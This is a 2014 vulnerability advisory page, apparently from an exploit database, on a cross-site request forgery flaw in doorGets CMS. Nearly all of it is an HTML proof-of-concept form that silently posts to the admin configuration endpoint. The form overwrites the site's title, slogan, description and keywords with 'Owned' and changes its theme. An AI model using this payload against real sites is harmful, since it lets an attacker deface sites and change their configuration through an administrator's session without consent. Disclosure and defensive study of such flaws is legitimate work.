doorGets CMS - CSRF Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Doorgets CSRF Vulnerability. Change site configuratio


                                                # Title: Doorgets CSRF Vulnerability
# Author: n0pe
# Software Link: http://www.doorgets.com/
# Download: http://www.doorgets.com/?sources_cms
# Tested: BackBox Linux 3

With this vulnerability you can change the configuration of the site.


Proof of concept:

&#60;html&#62;
	&#60;body&#62;
		&#60;form name=&#34;csrf&#34; method=&#34;post&#34; action=&#34;http://localhost/door/admin/?r=config&siteweb&#34;&#62;
			Title &#60;input type=&#34;text&#34; id=&#34;website_title&#34; name=&#34;website_title&#34; value=&#34;Owned&#34;&#62;&#60;br /&#62;
			Slogan &#60;input type=&#34;text&#34; id=&#34;website_slogan&#34; name=&#34;website_slogan&#34; value=&#34;Owned&#34;&#62;&#60;br /&#62;
			Description &#60;input type=&#34;text&#34; id=&#34;website_description&#34; name=&#34;website_description&#34; value=&#34;Owned&#34;&#62;&#60;br /&#62;
			Copyright &#60;input type=&#34;text&#34; id=&#34;website_copyright&#34; name=&#34;website_copyright&#34; value=&#34;lol&#34;&#62;&#60;br /&#62;
			Year of creation &#60;input  type=&#34;text&#34; id=&#34;website_year&#34; name=&#34;website_year&#34; value=&#34;2013&#34;&#62;&#60;br /&#62;
			Keywords &#60;input type=&#34;text&#34; id=&#34;website_keywords&#34; name=&#34;website_keywords&#34; value=&#34;Owned&#34;&#62;&#60;br /&#62;
			ID Facebook &#60;input type=&#34;text&#34; id=&#34;website_id_facebook&#34; name=&#34;website_id_facebook&#34; value=&#34;&#34;&#62; &#60;br /&#62;
			Disqus &#60;input  type=&#34;text&#34; id=&#34;website_id_disqus&#34; name=&#34;website_id_disqus&#34; value=&#34;&#34;&#62; &#60;br /&#62;
			&#60;input type=&#34;radio&#34; name=&#34;website_theme&#34;  id=&#34;website_theme_doorgets-home&#34;  value=&#34;doorgets-home&#34; doorgets-light &#62;doorgets-home&#60;br /&#62;                                    
			&#60;input type=&#34;radio&#34; name=&#34;website_theme&#34;  id=&#34;website_theme_doorgets-light&#34;  value=&#34;doorgets-light&#34; checked=&#34;checked&#34; &#62;doorgets-light&#60;br /&#62;          
			&#60;input type=&#34;submit&#34; id=&#34;website_submit&#34; name=&#34;website_submit&#34; value=&#34;Save&#34;&#62;
		&#60;/form&#62;
	&#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1